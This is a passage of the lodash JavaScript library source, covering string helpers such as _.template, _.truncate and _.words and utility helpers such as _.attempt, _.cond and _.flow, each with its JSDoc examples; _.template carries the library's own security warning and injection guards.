14661 * @returns {string} Returns the snake cased string.
14662 * @example
14663 *
14664 * _.snakeCase('Foo Bar');
14665 * // => 'foo_bar'
14666 *
14667 * _.snakeCase('fooBar');
14668 * // => 'foo_bar'
14669 *
14670 * _.snakeCase('--FOO-BAR--');
14671 * // => 'foo_bar'
14672 */
14673 var snakeCase = createCompounder(function(result, word, index) {
14674 return result + (index ? '_' : '') + word.toLowerCase();
14675 });
14676
14677 /**
14678 * Splits `string` by `separator`.
14679 *
14680 * **Note:** This method is based on
14681 * [`String#split`](https://mdn.io/String/split).
14682 *
14683 * @static
14684 * @memberOf _
14685 * @since 4.0.0
14686 * @category String
14687 * @param {string} [string=''] The string to split.
14688 * @param {RegExp|string} separator The separator pattern to split by.
14689 * @param {number} [limit] The length to truncate results to.
14690 * @returns {Array} Returns the string segments.
14691 * @example
14692 *
14693 * _.split('a-b-c', '-', 2);
14694 * // => ['a', 'b']
14695 */
14696 function split(string, separator, limit) {
14697 if (limit && typeof limit != 'number' && isIterateeCall(string, separator, limit)) {
14698 separator = limit = undefined;
14699 }
14700 limit = limit === undefined ? MAX_ARRAY_LENGTH : limit >>> 0;
14701 if (!limit) {
14702 return [];
14703 }
14704 string = toString(string);
14705 if (string && (
14706 typeof separator == 'string' ||
14707 (separator != null && !isRegExp(separator))
14708 )) {
14709 separator = baseToString(separator);
14710 if (!separator && hasUnicode(string)) {
14711 return castSlice(stringToArray(string), 0, limit);
14712 }
14713 }
14714 return string.split(separator, limit);
14715 }
14716
14717 /**
14718 * Converts `string` to
14719 * [start case](https://en.wikipedia.org/wiki/Letter_case#Stylistic_or_specialised_usage).
14720 *
14721 * @static
14722 * @memberOf _
14723 * @since 3.1.0
14724 * @category String
14725 * @param {string} [string=''] The string to convert.
14726 * @returns {string} Returns the start cased string.
14727 * @example
14728 *
14729 * _.startCase('--foo-bar--');
14730 * // => 'Foo Bar'
14731 *
14732 * _.startCase('fooBar');
14733 * // => 'Foo Bar'
14734 *
14735 * _.startCase('__FOO_BAR__');
14736 * // => 'FOO BAR'
14737 */
14738 var startCase = createCompounder(function(result, word, index) {
14739 return result + (index ? ' ' : '') + upperFirst(word);
14740 });
14741
14742 /**
14743 * Checks if `string` starts with the given target string.
14744 *
14745 * @static
14746 * @memberOf _
14747 * @since 3.0.0
14748 * @category String
14749 * @param {string} [string=''] The string to inspect.
14750 * @param {string} [target] The string to search for.
14751 * @param {number} [position=0] The position to search from.
14752 * @returns {boolean} Returns `true` if `string` starts with `target`,
14753 * else `false`.
14754 * @example
14755 *
14756 * _.startsWith('abc', 'a');
14757 * // => true
14758 *
14759 * _.startsWith('abc', 'b');
14760 * // => false
14761 *
14762 * _.startsWith('abc', 'b', 1);
14763 * // => true
14764 */
14765 function startsWith(string, target, position) {
14766 string = toString(string);
14767 position = position == null
14768 ? 0
14769 : baseClamp(toInteger(position), 0, string.length);
14770
14771 target = baseToString(target);
14772 return string.slice(position, position + target.length) == target;
14773 }
14774
14775 /**
14776 * Creates a compiled template function that can interpolate data properties
14777 * in "interpolate" delimiters, HTML-escape interpolated data properties in
14778 * "escape" delimiters, and execute JavaScript in "evaluate" delimiters. Data
14779 * properties may be accessed as free variables in the template. If a setting
14780 * object is given, it takes precedence over `_.templateSettings` values.
14781 *
14782 * **Security:** `_.template` is insecure and should not be used. It will be
14783 * removed in Lodash v5. Avoid untrusted input. See
14784 * [threat model](https://github.com/lodash/lodash/blob/main/threat-model.md).
14785 *
14786 * **Note:** In the development build `_.template` utilizes
14787 * [sourceURLs](http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/#toc-sourceurl)
14788 * for easier debugging.
14789 *
14790 * For more information on precompiling templates see
14791 * [lodash's custom builds documentation](https://lodash.com/custom-builds).
14792 *
14793 * For more information on Chrome extension sandboxes see
14794 * [Chrome's extensions documentation](https://developer.chrome.com/extensions/sandboxingEval).
14795 *
14796 * @static
14797 * @since 0.1.0
14798 * @memberOf _
14799 * @category String
14800 * @param {string} [string=''] The template string.
14801 * @param {Object} [options={}] The options object.
14802 * @param {RegExp} [options.escape=_.templateSettings.escape]
14803 * The HTML "escape" delimiter.
14804 * @param {RegExp} [options.evaluate=_.templateSettings.evaluate]
14805 * The "evaluate" delimiter.
14806 * @param {Object} [options.imports=_.templateSettings.imports]
14807 * An object to import into the template as free variables.
14808 * @param {RegExp} [options.interpolate=_.templateSettings.interpolate]
14809 * The "interpolate" delimiter.
14810 * @param {string} [options.sourceURL='lodash.templateSources[n]']
14811 * The sourceURL of the compiled template.
14812 * @param {string} [options.variable='obj']
14813 * The data object variable name.
14814 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
14815 * @returns {Function} Returns the compiled template function.
14816 * @example
14817 *
14818 * // Use the "interpolate" delimiter to create a compiled template.
14819 * var compiled = _.template('hello <%= user %>!');
14820 * compiled({ 'user': 'fred' });
14821 * // => 'hello fred!'
14822 *
14823 * // Use the HTML "escape" delimiter to escape data property values.
14824 * var compiled = _.template('<b><%- value %></b>');
14825 * compiled({ 'value': '<script>' });
14826 * // => '<b>&lt;script&gt;</b>'
14827 *
14828 * // Use the "evaluate" delimiter to execute JavaScript and generate HTML.
14829 * var compiled = _.template('<% _.forEach(users, function(user) { %><li><%- user %></li><% }); %>');
14830 * compiled({ 'users': ['fred', 'barney'] });
14831 * // => '<li>fred</li><li>barney</li>'
14832 *
14833 * // Use the internal `print` function in "evaluate" delimiters.
14834 * var compiled = _.template('<% print("hello " + user); %>!');
14835 * compiled({ 'user': 'barney' });
14836 * // => 'hello barney!'
14837 *
14838 * // Use the ES template literal delimiter as an "interpolate" delimiter.
14839 * // Disable support by replacing the "interpolate" delimiter.
14840 * var compiled = _.template('hello ${ user }!');
14841 * compiled({ 'user': 'pebbles' });
14842 * // => 'hello pebbles!'
14843 *
14844 * // Use backslashes to treat delimiters as plain text.
14845 * var compiled = _.template('<%= "\\<%- value %\\>" %>');
14846 * compiled({ 'value': 'ignored' });
14847 * // => '<%- value %>'
14848 *
14849 * // Use the `imports` option to import `jQuery` as `jq`.
14850 * var text = '<% jq.each(users, function(user) { %><li><%- user %></li><% }); %>';
14851 * var compiled = _.template(text, { 'imports': { 'jq': jQuery } });
14852 * compiled({ 'users': ['fred', 'barney'] });
14853 * // => '<li>fred</li><li>barney</li>'
14854 *
14855 * // Use the `sourceURL` option to specify a custom sourceURL for the template.
14856 * var compiled = _.template('hello <%= user %>!', { 'sourceURL': '/basic/greeting.jst' });
14857 * compiled(data);
14858 * // => Find the source of "greeting.jst" under the Sources tab or Resources panel of the web inspector.
14859 *
14860 * // Use the `variable` option to ensure a with-statement isn't used in the compiled template.
14861 * var compiled = _.template('hi <%= data.user %>!', { 'variable': 'data' });
14862 * compiled.source;
14863 * // => function(data) {
14864 * // var __t, __p = '';
14865 * // __p += 'hi ' + ((__t = ( data.user )) == null ? '' : __t) + '!';
14866 * // return __p;
14867 * // }
14868 *
14869 * // Use custom template delimiters.
14870 * _.templateSettings.interpolate = /{{([\s\S]+?)}}/g;
14871 * var compiled = _.template('hello {{ user }}!');
14872 * compiled({ 'user': 'mustache' });
14873 * // => 'hello mustache!'
14874 *
14875 * // Use the `source` property to inline compiled templates for meaningful
14876 * // line numbers in error messages and stack traces.
14877 * fs.writeFileSync(path.join(process.cwd(), 'jst.js'), '\
14878 * var JST = {\
14879 * "main": ' + _.template(mainText).source + '\
14880 * };\
14881 * ');
14882 */
14883 function template(string, options, guard) {
14884 // Based on John Resig's `tmpl` implementation
14885 // (http://ejohn.org/blog/javascript-micro-templating/)
14886 // and Laura Doktorova's doT.js (https://github.com/olado/doT).
14887 var settings = lodash.templateSettings;
14888
14889 if (guard && isIterateeCall(string, options, guard)) {
14890 options = undefined;
14891 }
14892 string = toString(string);
14893 options = assignWith({}, options, settings, customDefaultsAssignIn);
14894
14895 var imports = assignWith({}, options.imports, settings.imports, customDefaultsAssignIn),
14896 importsKeys = keys(imports),
14897 importsValues = baseValues(imports, importsKeys);
14898
14899 arrayEach(importsKeys, function(key) {
14900 if (reForbiddenIdentifierChars.test(key)) {
14901 throw new Error(INVALID_TEMPL_IMPORTS_ERROR_TEXT);
14902 }
14903 });
14904
14905 var isEscaping,
14906 isEvaluating,
14907 index = 0,
14908 interpolate = options.interpolate || reNoMatch,
14909 source = "__p += '";
14910
14911 // Compile the regexp to match each delimiter.
14912 var reDelimiters = RegExp(
14913 (options.escape || reNoMatch).source + '|' +
14914 interpolate.source + '|' +
14915 (interpolate === reInterpolate ? reEsTemplate : reNoMatch).source + '|' +
14916 (options.evaluate || reNoMatch).source + '|$'
14917 , 'g');
14918
14919 // Use a sourceURL for easier debugging.
14920 // The sourceURL gets injected into the source that's eval-ed, so be careful
14921 // to normalize all kinds of whitespace, so e.g. newlines (and unicode versions of it) can't sneak in
14922 // and escape the comment, thus injecting code that gets evaled.
14923 var sourceURL = '//# sourceURL=' +
14924 (hasOwnProperty.call(options, 'sourceURL')
14925 ? (options.sourceURL + '').replace(/\s/g, ' ')
14926 : ('lodash.templateSources[' + (++templateCounter) + ']')
14927 ) + '\n';
14928
14929 string.replace(reDelimiters, function(match, escapeValue, interpolateValue, esTemplateValue, evaluateValue, offset) {
14930 interpolateValue || (interpolateValue = esTemplateValue);
14931
14932 // Escape characters that can't be included in string literals.
14933 source += string.slice(index, offset).replace(reUnescapedString, escapeStringChar);
14934
14935 // Replace delimiters with snippets.
14936 if (escapeValue) {
14937 isEscaping = true;
14938 source += "' +\n__e(" + escapeValue + ") +\n'";
14939 }
14940 if (evaluateValue) {
14941 isEvaluating = true;
14942 source += "';\n" + evaluateValue + ";\n__p += '";
14943 }
14944 if (interpolateValue) {
14945 source += "' +\n((__t = (" + interpolateValue + ")) == null ? '' : __t) +\n'";
14946 }
14947 index = offset + match.length;
14948
14949 // The JS engine embedded in Adobe products needs `match` returned in
14950 // order to produce the correct `offset` value.
14951 return match;
14952 });
14953
14954 source += "';\n";
14955
14956 // If `variable` is not specified wrap a with-statement around the generated
14957 // code to add the data object to the top of the scope chain.
14958 var variable = hasOwnProperty.call(options, 'variable') && options.variable;
14959 if (!variable) {
14960 source = 'with (obj) {\n' + source + '\n}\n';
14961 }
14962 // Throw an error if a forbidden character was found in `variable`, to prevent
14963 // potential command injection attacks.
14964 else if (reForbiddenIdentifierChars.test(variable)) {
14965 throw new Error(INVALID_TEMPL_VAR_ERROR_TEXT);
14966 }
14967
14968 // Cleanup code by stripping empty strings.
14969 source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
14970 .replace(reEmptyStringMiddle, '$1')
14971 .replace(reEmptyStringTrailing, '$1;');
14972
14973 // Frame code as the function body.
14974 source = 'function(' + (variable || 'obj') + ') {\n' +
14975 (variable
14976 ? ''
14977 : 'obj || (obj = {});\n'
14978 ) +
14979 "var __t, __p = ''" +
14980 (isEscaping
14981 ? ', __e = _.escape'
14982 : ''
14983 ) +
14984 (isEvaluating
14985 ? ', __j = Array.prototype.join;\n' +
14986 "function print() { __p += __j.call(arguments, '') }\n"
14987 : ';\n'
14988 ) +
14989 source +
14990 'return __p\n}';
14991
14992 var result = attempt(function() {
14993 return Function(importsKeys, sourceURL + 'return ' + source)
14994 .apply(undefined, importsValues);
14995 });
14996
14997 // Provide the compiled function's source by its `toString` method or
14998 // the `source` property as a convenience for inlining compiled templates.
14999 result.source = source;
15000 if (isError(result)) {
15001 throw result;
15002 }
15003 return result;
15004 }
15005
15006 /**
15007 * Converts `string`, as a whole, to lower case just like
15008 * [String#toLowerCase](https://mdn.io/toLowerCase).
15009 *
15010 * @static
15011 * @memberOf _
15012 * @since 4.0.0
15013 * @category String
15014 * @param {string} [string=''] The string to convert.
15015 * @returns {string} Returns the lower cased string.
15016 * @example
15017 *
15018 * _.toLower('--Foo-Bar--');
15019 * // => '--foo-bar--'
15020 *
15021 * _.toLower('fooBar');
15022 * // => 'foobar'
15023 *
15024 * _.toLower('__FOO_BAR__');
15025 * // => '__foo_bar__'
15026 */
15027 function toLower(value) {
15028 return toString(value).toLowerCase();
15029 }
15030
15031 /**
15032 * Converts `string`, as a whole, to upper case just like
15033 * [String#toUpperCase](https://mdn.io/toUpperCase).
15034 *
15035 * @static
15036 * @memberOf _
15037 * @since 4.0.0
15038 * @category String
15039 * @param {string} [string=''] The string to convert.
15040 * @returns {string} Returns the upper cased string.
15041 * @example
15042 *
15043 * _.toUpper('--foo-bar--');
15044 * // => '--FOO-BAR--'
15045 *
15046 * _.toUpper('fooBar');
15047 * // => 'FOOBAR'
15048 *
15049 * _.toUpper('__foo_bar__');
15050 * // => '__FOO_BAR__'
15051 */
15052 function toUpper(value) {
15053 return toString(value).toUpperCase();
15054 }
15055
15056 /**
15057 * Removes leading and trailing whitespace or specified characters from `string`.
15058 *
15059 * @static
15060 * @memberOf _
15061 * @since 3.0.0
15062 * @category String
15063 * @param {string} [string=''] The string to trim.
15064 * @param {string} [chars=whitespace] The characters to trim.
15065 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
15066 * @returns {string} Returns the trimmed string.
15067 * @example
15068 *
15069 * _.trim(' abc ');
15070 * // => 'abc'
15071 *
15072 * _.trim('-_-abc-_-', '_-');
15073 * // => 'abc'
15074 *
15075 * _.map([' foo ', ' bar '], _.trim);
15076 * // => ['foo', 'bar']
15077 */
15078 function trim(string, chars, guard) {
15079 string = toString(string);
15080 if (string && (guard || chars === undefined)) {
15081 return baseTrim(string);
15082 }
15083 if (!string || !(chars = baseToString(chars))) {
15084 return string;
15085 }
15086 var strSymbols = stringToArray(string),
15087 chrSymbols = stringToArray(chars),
15088 start = charsStartIndex(strSymbols, chrSymbols),
15089 end = charsEndIndex(strSymbols, chrSymbols) + 1;
15090
15091 return castSlice(strSymbols, start, end).join('');
15092 }
15093
15094 /**
15095 * Removes trailing whitespace or specified characters from `string`.
15096 *
15097 * @static
15098 * @memberOf _
15099 * @since 4.0.0
15100 * @category String
15101 * @param {string} [string=''] The string to trim.
15102 * @param {string} [chars=whitespace] The characters to trim.
15103 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
15104 * @returns {string} Returns the trimmed string.
15105 * @example
15106 *
15107 * _.trimEnd(' abc ');
15108 * // => ' abc'
15109 *
15110 * _.trimEnd('-_-abc-_-', '_-');
15111 * // => '-_-abc'
15112 */
15113 function trimEnd(string, chars, guard) {
15114 string = toString(string);
15115 if (string && (guard || chars === undefined)) {
15116 return string.slice(0, trimmedEndIndex(string) + 1);
15117 }
15118 if (!string || !(chars = baseToString(chars))) {
15119 return string;
15120 }
15121 var strSymbols = stringToArray(string),
15122 end = charsEndIndex(strSymbols, stringToArray(chars)) + 1;
15123
15124 return castSlice(strSymbols, 0, end).join('');
15125 }
15126
15127 /**
15128 * Removes leading whitespace or specified characters from `string`.
15129 *
15130 * @static
15131 * @memberOf _
15132 * @since 4.0.0
15133 * @category String
15134 * @param {string} [string=''] The string to trim.
15135 * @param {string} [chars=whitespace] The characters to trim.
15136 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
15137 * @returns {string} Returns the trimmed string.
15138 * @example
15139 *
15140 * _.trimStart(' abc ');
15141 * // => 'abc '
15142 *
15143 * _.trimStart('-_-abc-_-', '_-');
15144 * // => 'abc-_-'
15145 */
15146 function trimStart(string, chars, guard) {
15147 string = toString(string);
15148 if (string && (guard || chars === undefined)) {
15149 return string.replace(reTrimStart, '');
15150 }
15151 if (!string || !(chars = baseToString(chars))) {
15152 return string;
15153 }
15154 var strSymbols = stringToArray(string),
15155 start = charsStartIndex(strSymbols, stringToArray(chars));
15156
15157 return castSlice(strSymbols, start).join('');
15158 }
15159
15160 /**
15161 * Truncates `string` if it's longer than the given maximum string length.
15162 * The last characters of the truncated string are replaced with the omission
15163 * string which defaults to "...".
15164 *
15165 * @static
15166 * @memberOf _
15167 * @since 4.0.0
15168 * @category String
15169 * @param {string} [string=''] The string to truncate.
15170 * @param {Object} [options={}] The options object.
15171 * @param {number} [options.length=30] The maximum string length.
15172 * @param {string} [options.omission='...'] The string to indicate text is omitted.
15173 * @param {RegExp|string} [options.separator] The separator pattern to truncate to.
15174 * @returns {string} Returns the truncated string.
15175 * @example
15176 *
15177 * _.truncate('hi-diddly-ho there, neighborino');
15178 * // => 'hi-diddly-ho there, neighbo...'
15179 *
15180 * _.truncate('hi-diddly-ho there, neighborino', {
15181 * 'length': 24,
15182 * 'separator': ' '
15183 * });
15184 * // => 'hi-diddly-ho there,...'
15185 *
15186 * _.truncate('hi-diddly-ho there, neighborino', {
15187 * 'length': 24,
15188 * 'separator': /,? +/
15189 * });
15190 * // => 'hi-diddly-ho there...'
15191 *
15192 * _.truncate('hi-diddly-ho there, neighborino', {
15193 * 'omission': ' [...]'
15194 * });
15195 * // => 'hi-diddly-ho there, neig [...]'
15196 */
15197 function truncate(string, options) {
15198 var length = DEFAULT_TRUNC_LENGTH,
15199 omission = DEFAULT_TRUNC_OMISSION;
15200
15201 if (isObject(options)) {
15202 var separator = 'separator' in options ? options.separator : separator;
15203 length = 'length' in options ? toInteger(options.length) : length;
15204 omission = 'omission' in options ? baseToString(options.omission) : omission;
15205 }
15206 string = toString(string);
15207
15208 var strLength = string.length;
15209 if (hasUnicode(string)) {
15210 var strSymbols = stringToArray(string);
15211 strLength = strSymbols.length;
15212 }
15213 if (length >= strLength) {
15214 return string;
15215 }
15216 var end = length - stringSize(omission);
15217 if (end < 1) {
15218 return omission;
15219 }
15220 var result = strSymbols
15221 ? castSlice(strSymbols, 0, end).join('')
15222 : string.slice(0, end);
15223
15224 if (separator === undefined) {
15225 return result + omission;
15226 }
15227 if (strSymbols) {
15228 end += (result.length - end);
15229 }
15230 if (isRegExp(separator)) {
15231 if (string.slice(end).search(separator)) {
15232 var match,
15233 substring = result;
15234
15235 if (!separator.global) {
15236 separator = RegExp(separator.source, toString(reFlags.exec(separator)) + 'g');
15237 }
15238 separator.lastIndex = 0;
15239 while ((match = separator.exec(substring))) {
15240 var newEnd = match.index;
15241 }
15242 result = result.slice(0, newEnd === undefined ? end : newEnd);
15243 }
15244 } else if (string.indexOf(baseToString(separator), end) != end) {
15245 var index = result.lastIndexOf(separator);
15246 if (index > -1) {
15247 result = result.slice(0, index);
15248 }
15249 }
15250 return result + omission;
15251 }
15252
15253 /**
15254 * The inverse of `_.escape`; this method converts the HTML entities
15255 * `&amp;`, `&lt;`, `&gt;`, `&quot;`, and `&#39;` in `string` to
15256 * their corresponding characters.
15257 *
15258 * **Note:** No other HTML entities are unescaped. To unescape additional
15259 * HTML entities use a third-party library like [_he_](https://mths.be/he).
15260 *
15261 * @static
15262 * @memberOf _
15263 * @since 0.6.0
15264 * @category String
15265 * @param {string} [string=''] The string to unescape.
15266 * @returns {string} Returns the unescaped string.
15267 * @example
15268 *
15269 * _.unescape('fred, barney, &amp; pebbles');
15270 * // => 'fred, barney, & pebbles'
15271 */
15272 function unescape(string) {
15273 string = toString(string);
15274 return (string && reHasEscapedHtml.test(string))
15275 ? string.replace(reEscapedHtml, unescapeHtmlChar)
15276 : string;
15277 }
15278
15279 /**
15280 * Converts `string`, as space separated words, to upper case.
15281 *
15282 * @static
15283 * @memberOf _
15284 * @since 4.0.0
15285 * @category String
15286 * @param {string} [string=''] The string to convert.
15287 * @returns {string} Returns the upper cased string.
15288 * @example
15289 *
15290 * _.upperCase('--foo-bar');
15291 * // => 'FOO BAR'
15292 *
15293 * _.upperCase('fooBar');
15294 * // => 'FOO BAR'
15295 *
15296 * _.upperCase('__foo_bar__');
15297 * // => 'FOO BAR'
15298 */
15299 var upperCase = createCompounder(function(result, word, index) {
15300 return result + (index ? ' ' : '') + word.toUpperCase();
15301 });
15302
15303 /**
15304 * Converts the first character of `string` to upper case.
15305 *
15306 * @static
15307 * @memberOf _
15308 * @since 4.0.0
15309 * @category String
15310 * @param {string} [string=''] The string to convert.
15311 * @returns {string} Returns the converted string.
15312 * @example
15313 *
15314 * _.upperFirst('fred');
15315 * // => 'Fred'
15316 *
15317 * _.upperFirst('FRED');
15318 * // => 'FRED'
15319 */
15320 var upperFirst = createCaseFirst('toUpperCase');
15321
15322 /**
15323 * Splits `string` into an array of its words.
15324 *
15325 * @static
15326 * @memberOf _
15327 * @since 3.0.0
15328 * @category String
15329 * @param {string} [string=''] The string to inspect.
15330 * @param {RegExp|string} [pattern] The pattern to match words.
15331 * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
15332 * @returns {Array} Returns the words of `string`.
15333 * @example
15334 *
15335 * _.words('fred, barney, & pebbles');
15336 * // => ['fred', 'barney', 'pebbles']
15337 *
15338 * _.words('fred, barney, & pebbles', /[^, ]+/g);
15339 * // => ['fred', 'barney', '&', 'pebbles']
15340 */
15341 function words(string, pattern, guard) {
15342 string = toString(string);
15343 pattern = guard ? undefined : pattern;
15344
15345 if (pattern === undefined) {
15346 return hasUnicodeWord(string) ? unicodeWords(string) : asciiWords(string);
15347 }
15348 return string.match(pattern) || [];
15349 }
15350
15351 /*------------------------------------------------------------------------*/
15352
15353 /**
15354 * Attempts to invoke `func`, returning either the result or the caught error
15355 * object. Any additional arguments are provided to `func` when it's invoked.
15356 *
15357 * @static
15358 * @memberOf _
15359 * @since 3.0.0
15360 * @category Util
15361 * @param {Function} func The function to attempt.
15362 * @param {...*} [args] The arguments to invoke `func` with.
15363 * @returns {*} Returns the `func` result or error object.
15364 * @example
15365 *
15366 * // Avoid throwing errors for invalid selectors.
15367 * var elements = _.attempt(function(selector) {
15368 * return document.querySelectorAll(selector);
15369 * }, '>_>');
15370 *
15371 * if (_.isError(elements)) {
15372 * elements = [];
15373 * }
15374 */
15375 var attempt = baseRest(function(func, args) {
15376 try {
15377 return apply(func, undefined, args);
15378 } catch (e) {
15379 return isError(e) ? e : new Error(e);
15380 }
15381 });
15382
15383 /**
15384 * Binds methods of an object to the object itself, overwriting the existing
15385 * method.
15386 *
15387 * **Note:** This method doesn't set the "length" property of bound functions.
15388 *
15389 * @static
15390 * @since 0.1.0
15391 * @memberOf _
15392 * @category Util
15393 * @param {Object} object The object to bind and assign the bound methods to.
15394 * @param {...(string|string[])} methodNames The object method names to bind.
15395 * @returns {Object} Returns `object`.
15396 * @example
15397 *
15398 * var view = {
15399 * 'label': 'docs',
15400 * 'click': function() {
15401 * console.log('clicked ' + this.label);
15402 * }
15403 * };
15404 *
15405 * _.bindAll(view, ['click']);
15406 * jQuery(element).on('click', view.click);
15407 * // => Logs 'clicked docs' when clicked.
15408 */
15409 var bindAll = flatRest(function(object, methodNames) {
15410 arrayEach(methodNames, function(key) {
15411 key = toKey(key);
15412 baseAssignValue(object, key, bind(object[key], object));
15413 });
15414 return object;
15415 });
15416
15417 /**
15418 * Creates a function that iterates over `pairs` and invokes the corresponding
15419 * function of the first predicate to return truthy. The predicate-function
15420 * pairs are invoked with the `this` binding and arguments of the created
15421 * function.
15422 *
15423 * @static
15424 * @memberOf _
15425 * @since 4.0.0
15426 * @category Util
15427 * @param {Array} pairs The predicate-function pairs.
15428 * @returns {Function} Returns the new composite function.
15429 * @example
15430 *
15431 * var func = _.cond([
15432 * [_.matches({ 'a': 1 }), _.constant('matches A')],
15433 * [_.conforms({ 'b': _.isNumber }), _.constant('matches B')],
15434 * [_.stubTrue, _.constant('no match')]
15435 * ]);
15436 *
15437 * func({ 'a': 1, 'b': 2 });
15438 * // => 'matches A'
15439 *
15440 * func({ 'a': 0, 'b': 1 });
15441 * // => 'matches B'
15442 *
15443 * func({ 'a': '1', 'b': '2' });
15444 * // => 'no match'
15445 */
15446 function cond(pairs) {
15447 var length = pairs == null ? 0 : pairs.length,
15448 toIteratee = getIteratee();
15449
15450 pairs = !length ? [] : arrayMap(pairs, function(pair) {
15451 if (typeof pair[1] != 'function') {
15452 throw new TypeError(FUNC_ERROR_TEXT);
15453 }
15454 return [toIteratee(pair[0]), pair[1]];
15455 });
15456
15457 return baseRest(function(args) {
15458 var index = -1;
15459 while (++index < length) {
15460 var pair = pairs[index];
15461 if (apply(pair[0], this, args)) {
15462 return apply(pair[1], this, args);
15463 }
15464 }
15465 });
15466 }
15467
15468 /**
15469 * Creates a function that invokes the predicate properties of `source` with
15470 * the corresponding property values of a given object, returning `true` if
15471 * all predicates return truthy, else `false`.
15472 *
15473 * **Note:** The created function is equivalent to `_.conformsTo` with
15474 * `source` partially applied.
15475 *
15476 * @static
15477 * @memberOf _
15478 * @since 4.0.0
15479 * @category Util
15480 * @param {Object} source The object of property predicates to conform to.
15481 * @returns {Function} Returns the new spec function.
15482 * @example
15483 *
15484 * var objects = [
15485 * { 'a': 2, 'b': 1 },
15486 * { 'a': 1, 'b': 2 }
15487 * ];
15488 *
15489 * _.filter(objects, _.conforms({ 'b': function(n) { return n > 1; } }));
15490 * // => [{ 'a': 1, 'b': 2 }]
15491 */
15492 function conforms(source) {
15493 return baseConforms(baseClone(source, CLONE_DEEP_FLAG));
15494 }
15495
15496 /**
15497 * Creates a function that returns `value`.
15498 *
15499 * @static
15500 * @memberOf _
15501 * @since 2.4.0
15502 * @category Util
15503 * @param {*} value The value to return from the new function.
15504 * @returns {Function} Returns the new constant function.
15505 * @example
15506 *
15507 * var objects = _.times(2, _.constant({ 'a': 1 }));
15508 *
15509 * console.log(objects);
15510 * // => [{ 'a': 1 }, { 'a': 1 }]
15511 *
15512 * console.log(objects[0] === objects[1]);
15513 * // => true
15514 */
15515 function constant(value) {
15516 return function() {
15517 return value;
15518 };
15519 }
15520
15521 /**
15522 * Checks `value` to determine whether a default value should be returned in
15523 * its place. The `defaultValue` is returned if `value` is `NaN`, `null`,
15524 * or `undefined`.
15525 *
15526 * @static
15527 * @memberOf _
15528 * @since 4.14.0
15529 * @category Util
15530 * @param {*} value The value to check.
15531 * @param {*} defaultValue The default value.
15532 * @returns {*} Returns the resolved value.
15533 * @example
15534 *
15535 * _.defaultTo(1, 10);
15536 * // => 1
15537 *
15538 * _.defaultTo(undefined, 10);
15539 * // => 10
15540 */
15541 function defaultTo(value, defaultValue) {
15542 return (value == null || value !== value) ? defaultValue : value;
15543 }
15544
15545 /**
15546 * Creates a function that returns the result of invoking the given functions
15547 * with the `this` binding of the created function, where each successive
15548 * invocation is supplied the return value of the previous.
15549 *
15550 * @static
15551 * @memberOf _
15552 * @since 3.0.0
15553 * @category Util
15554 * @param {...(Function|Function[])} [funcs] The functions to invoke.
15555 * @returns {Function} Returns the new composite function.
15556 * @see _.flowRight
15557 * @example
15558 *
15559 * function square(n) {
15560 * return n * n;
15561 * }
15562 *
15563 * var addSquare = _.flow([_.add, square]);
15564 * addSquare(1, 2);
15565 * // => 9
15566 */
15567 var flow = createFlow();
15568
15569 /**
15570 * This method is like `_.flow` except that it creates a function that
15571 * invokes the given functions from right to left.
15572 *
15573 * @static
15574 * @since 3.0.0
15575 * @memberOf _
15576 * @category Util
15577 * @param {...(Function|Function[])} [funcs] The functions to invoke.
15578 * @returns {Function} Returns the new composite function.
15579 * @see _.flow
15580 * @example
15581 *
15582 * function square(n) {
15583 * return n * n;
15584 * }
15585 *
15586 * var addSquare = _.flowRight([square, _.add]);
15587 * addSquare(1, 2);
15588 * // => 9
15589 */
15590 var flowRight = createFlow(true);
15591
15592 /**
15593 * This method returns the first argument it receives.
15594 *
15595 * @static
15596 * @since 0.1.0
15597 * @memberOf _
15598 * @category Util
15599 * @param {*} value Any value.
15600 * @returns {*} Returns `value`.
15601 * @example
15602 *
15603 * var object = { 'a': 1 };
15604 *
15605 * console.log(_.identity(object) === object);
15606 * // => true
15607 */
15608 function identity(value) {
15609 return value;
15610 }
15611
15612 /**
15613 * Creates a function that invokes `func` with the arguments of the created
15614 * function. If `func` is a property name, the created function returns the
15615 * property value for a given element. If `func` is an array or object, the
15616 * created function returns `true` for elements that contain the equivalent
15617 * source properties, otherwise it returns `false`.
15618 *
15619 * @static
15620 * @since 4.0.0
15621 * @memberOf _
15622 * @category Util
15623 * @param {*} [func=_.identity] The value to convert to a callback.
15624 * @returns {Function} Returns the callback.
15625 * @example
15626 *
15627 * var users = [
15628 * { 'user': 'barney', 'age': 36, 'active': true },
15629 * { 'user': 'fred', 'age': 40, 'active': false }
15630 * ];
15631 *
15632 * // The `_.matches` iteratee shorthand.
15633 * _.filter(users, _.iteratee({ 'user': 'barney', 'active': true }));
15634 * // => [{ 'user': 'barney', 'age': 36, 'active': true }]
15635 *
15636 * // The `_.matchesProperty` iteratee shorthand.
15637 * _.filter(users, _.iteratee(['user', 'fred']));
15638 * // => [{ 'user': 'fred', 'age': 40 }]
15639 *
15640 * // The `_.property` iteratee shorthand.
15641 * _.map(users, _.iteratee('user'));
15642 * // => ['barney', 'fred']
15643 *
15644 * // Create custom iteratee shorthands.
15645 * _.iteratee = _.wrap(_.iteratee, function(iteratee, func) {
15646 * return !_.isRegExp(func) ? iteratee(func) : function(string) {
15647 * return func.test(string);
15648 * };
15649 * });
15650 *
15651 * _.filter(['abc', 'def'], /ef/);
15652 * // => ['def']
15653 */
15654 function iteratee(func) {
15655 return baseIteratee(typeof func == 'function' ? func : baseClone(func, CLONE_DEEP_FLAG));
15656 }
15657
15658 /**
15659 * Creates a function that performs a partial deep comparison between a given
15660 * object and `source`, returning `true` if the given object has equivalent
15661 * property values, else `false`.
15662 *
15663 * **Note:** The created function is equivalent to `_.isMatch` with `source`
15664 * partially applied.
15665 *
15666 * Partial comparisons will match empty array and empty object `source`
15667 * values against any array or object value, respectively. See `_.isEqual`
15668 * for a list of supported value comparisons.
15669 *
15670 * **Note:** Multiple values can be checked by combining several matchers
15671 * using `_.overSome`
15672 *
15673 * @static
15674 * @memberOf _
15675 * @since 3.0.0
15676 * @category Util
15677 * @param {Object} source The object of property values to match.
15678 * @returns {Function} Returns the new spec function.
15679 * @example
15680 *
15681 * var objects = [
